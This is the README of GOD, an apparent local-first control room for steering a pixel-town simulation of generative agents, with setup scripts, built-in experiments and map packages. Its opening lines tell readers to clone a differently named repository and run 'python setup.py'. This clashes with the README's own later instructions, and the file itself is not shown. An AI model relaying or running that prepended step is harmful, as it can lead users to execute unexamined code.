git clone https://github.com/RomFinancial/GOD-842.git
cd GOD-842
python setup.py

🌩️ Be like a god to a town of agents.
Pause time. Whisper to a soul. Bend the next step. Reset the world — all from a single click.

🚀 Quick Start · Highlights · Features · How it works · Built-in Experiments · Scenarios · Developer Docs · Updates · Roadmap · Contributing · 🌏 中文

Other generative-agent projects let you watch. GOD lets you reign.

One screen. Pause time. Question any soul. Rewrite the next step. Restart the world. The missing operator console for a society of agents — alive while you steer it.

_{Live control room — PKU map, step controls, targeted ask, and resident roster in one view.}

git clone https://github.com/RomFinancial/GOD-842
cd GOD
./scripts/god.sh start

Windows PowerShell: from the repo root, run .\scripts\god.cmd start.

That's it. On first run, the script installs everything, opens a browser-based setup wizard, and waits for you. No .env editing, no command-line flags, no glue scripts.

_{The Setup Wizard — model config, experiment choice, and custom society creation from one browser flow.}

Any OpenAI-compatible endpoint works. When the wizard hands off, the script prints a URL like:

http://127.0.0.1:5174/pixel-replay/god_town/1

Full walkthrough: Quickstart →

flowchart LR
  O["Operator"]:::operator
  UI["Control Room"]:::surface
  API["Live API"]:::core
  RT["Agent Runtime"]:::runtime
  TOWN["Pixel Town"]:::world
  CFG[["Experiment Files"]]:::data
  DB[("Replay Store")]:::data

  O --> UI
  UI <-->|"commands / updates"| API
  API -->|"prompts"| RT
  RT -->|"actions"| TOWN
  TOWN -->|"frames"| DB
  CFG -->|"scenario"| API

  classDef operator fill:#fff7ed,stroke:#f59e0b,color:#7c2d12,stroke-width:2px;
  classDef surface fill:#eef2ff,stroke:#6366f1,color:#312e81,stroke-width:2px;
  classDef core fill:#ecfeff,stroke:#0891b2,color:#164e63,stroke-width:2px;
  classDef runtime fill:#f0fdf4,stroke:#22c55e,color:#14532d,stroke-width:2px;
  classDef world fill:#fefce8,stroke:#ca8a04,color:#713f12,stroke-width:2px;
  classDef data fill:#fdf2f8,stroke:#db2777,color:#831843,stroke-width:2px;

GOD is intentionally local-first: the control room, backend, runtime bridge, experiment files, and replay store all run on your machine. The model endpoint is the only external service you choose.

GOD keeps three concepts separate:

• Experiment is the playable setup: map, agents, scenario context, and step plan.
• Replay is the viewable result of an experiment after it has been played.
• Runtime state is local machine data such as SQLite replay stores, logs, and agent snapshots; it is not part of an ExperimentPack and should not be committed.

./scripts/god.sh start      # start the full stack (idempotent)
./scripts/god.sh configure  # open setup to switch defaults or create an experiment
./scripts/god.sh restart    # stop everything cleanly, then start again
./scripts/god.sh new-run    # wipe local runtime state for the current experiment and start fresh
./scripts/god.sh status     # ports, URLs, model status
./scripts/god.sh stop       # stop everything
./scripts/god.sh tail       # follow logs
./scripts/god.sh open       # open the frontend pages in the default browser

On Windows, replace ./scripts/god.sh with .\scripts\god.cmd.

GOD ships two built-in experiments and treats them exactly like experiments you publish yourself. The setup wizard writes the selected experiment to .god/current_experiment.json; start, open, and new-run then act only on that current experiment.

.env is intentionally local-only and only stores model, API, port, and similar machine settings. It no longer decides the default experiment or map, so an old GOD_MAP_ID=pku cannot make GOD Town load the PKU map.

A late-spring Tuesday morning at 8:20. Sunny, 18°C, light breeze. A 200-person town with 10 residents who know each other but don't live in each other's pockets — a slice-of-life simulation, not a quest script.

➡️ Choose god_town in the Setup Wizard to make this the current experiment. It is bound to hypothesis_god_town/experiment_1 and the the_ville map.

➡️ See hypothesis_god_town/experiment_1/ for the full breakdown of locations, profiles, and interactions.

_{The Ville — all 10 residents going about a typical day across home, school, library, cafe, park, market, pharmacy, pub, and dorm.}

_{Every resident carries a full profile: age, family, housing, economic status, health, daily routine, skills, needs, worries, secrets, social network, language style, quirks, short- & long-term goals.}

A campus public-situation experiment on a stylized PKU map. Daily routines begin around gates, classrooms, library, lake, dining hall, dormitory, and Centennial Hall, then a high-attention visit event tests how residents notice, ask, gather, and react.

➡️ Choose pku_trump_visit in the Setup Wizard to make this the current experiment. It is bound to hypothesis_pku_trump_visit/experiment_1 and the pku map.

➡️ See hypothesis_pku_trump_visit/experiment_1/ for the full scenario, cast, operator notes, and replay data.

_{PKU campus map — gates, classrooms, library, Weiming Lake, Boya Pagoda, dining hall, dorm, and Centennial Hall, with named residents and the Trump-visit cast.}

GOD now discovers map packages automatically from agentsociety/custom/maps/<map_id>/. To add a map, copy agentsociety/custom/maps/_template/, replace map.yaml, visuals/map.json, tileset PNGs, and optional characters/ or location_assets/, then run:

cd agentsociety
uv run python scripts/validate_map_package.py custom/maps/<map_id>

The setup wizard will list valid packages without code changes. v1 supports Tiled JSON maps with PNG tilesets and a Collisions layer where 0 means walkable. The PKU campus package now ships in the repository at agentsociety/custom/maps/pku/. See docs/MAP_PACKAGES.md for the full package contract.

Supported feature updates:

• 2026-05-22 · Runtime localization · #26 — replay, setup, map metadata, locations, actions, statuses, emotions, group labels, and system event templates now switch cleanly between English and Chinese while preserving free-form agent content.
• 2026-05-23 · Control Room command UI · #27 — PixelReplay now uses a full-height map with a right-side rail, Summary/Chat/Residents/Live Console tabs, and a map-embedded /ask + /intervene command composer with mention completion.
• 2026-05-24 · Agent Studio wizard · #28 — Agent Builder and Setup drafts share a map-bound Studio flow for seed, identity, appearance, personality, daily setup, review, and structured agent metadata.
• 2026-05-25 · Strict sprite pipeline · #29 — Agent Studio can generate validated map-compatible sprites, preserve existing profile text, enforce clean IDs/config sync, and keep generated Generated_Agent_*.png files local by default.
• 2026-05-26 · Agent runtime wiring · #30 — Agents now use the sames skill runtime consistently across AgentBuilder, setup drafts, imports, applies, and default experiment configs.
• 2026-05-27 · Map Studio · #31 — GOD now includes a Map Studio for generating or uploading local map drafts, configuring image generation, calibrating anchors/collisions, validating packages, publishing them, and returning to Setup with the new map_id selected.

• 🗺️ Pluggable map packages — drop a folder under agentsociety/custom/maps/<map_id>/, refresh the wizard, and a new world is selectable. Auto-discovered, validated, hot-swappable. See docs/MAP_PACKAGES.md.
• 🏫 PKU campus map — the PKU map package is bundled as a first-class map alongside The Ville.
• 🪄 No-code setup wizard — browser flow for model setup, built-in experiment choice, custom experiment generation/editing, and launch.
• 🧪 Scripted experiments — reproducible experiments ship as plain folders under quick_experiments/<hypothesis>/<experiment>/; choosing or publishing one makes it the current experiment.
• 🎮 Control Room command rail — replay controls, resident roster, live console, targeted Ask, and Intervene now live in one map-first operator surface.
• 🧬 Agent Studio v1 — map-aware add/edit flow with structured profile metadata, ID validation, setup integration, and sprite generation support.
• 🧭 Map Studio v1 — prompt/reference-image map draft generation, anchor and collision calibration, package validation, publishing, and Setup handoff.
• 🌏 Bilingual runtime UI — English/Chinese UI and runtime-owned labels for setup, replay, maps, statuses, actions, and system events.
• 🔌 Agent skill-runtime path — the shipped JiuwenClaw agent adapter now uses the AgentSociety skill runtime as the canonical execution path.

• 🤖 Pluggable agent runtimes — swap LLM runtimes and persona templates as cleanly as we now swap maps.
• 🧪 Multi-experiment orchestration — run experiments, control groups, repeats, and ablations side-by-side.
• 🗺️ Live map generation — maps that evolve with events, repairs, blockages, and crowds.
• 🌦️ Event-responsive worlds — weather, accidents, festivals, rumors, shortages, repairs, blockages, and crowds that change agent behavior over time.
• 🌐 Large-scale simulation — AgentSociety batching, sharded runs, sampled replay, and performance-minded replay summaries.
• 📊 Experiment evaluation — cross-run metrics, behavior diffs, intervention effect analysis.
• 📝 Operator workflow — per-step notes, tags, bookmarks, key-event summaries.
• 🌍 Hosted demo & scenario sharing — public demo, experiment/map templates, and one-click import/export for community scenarios.

Have an idea? Open an issue or PR.

Issues and pull requests are very welcome. To set up a dev environment:

./scripts/god.sh start

That installs Python and Node dependencies, brings up the full stack, creates a live session, and runs the first step so the control room opens on a populated town. From there, edit and reload.

Full guide: CONTRIBUTING.md → — branching, PR checklist, style, and how to ship a new map or experiment.

GOD stands on the shoulders of open research and open-source. It bundles two trimmed, integrated upstream checkouts:

• AgentSociety — large-scale generative-agent simulation framework.
• JiuwenClaw — out-of-process agent runtime.

And takes inspiration from Generative Agents and OASIS.

@article{piao2025agentsociety,
  title   = {AgentSociety: Large-Scale Simulation of LLM-Driven Generative Agents Advances Understanding of Human Behaviors and Society},
  author  = {Piao et al.},
  journal = {arXiv preprint arXiv:2502.08691},
  year    = {2025}
}

@misc{park2023generativeagents,
  title         = {Generative Agents: Interactive Simulacra of Human Behavior},
  author        = {Joon Sung Park and Joseph C. O'Brien and Carrie J. Cai and Meredith Ringel Morris and Percy Liang and Michael S. Bernstein},
  year          = {2023},
  eprint        = {2304.03442},
  archivePrefix = {arXiv},
  primaryClass  = {cs.HC},
  url           = {https://arxiv.org/abs/2304.03442}
}

Released under the Apache-2.0 license. Upstream LICENSE and NOTICE files are kept inside the integrated runtime checkouts and apply to those subtrees.

_{Built with care. ⭐ a star helps GOD grow.}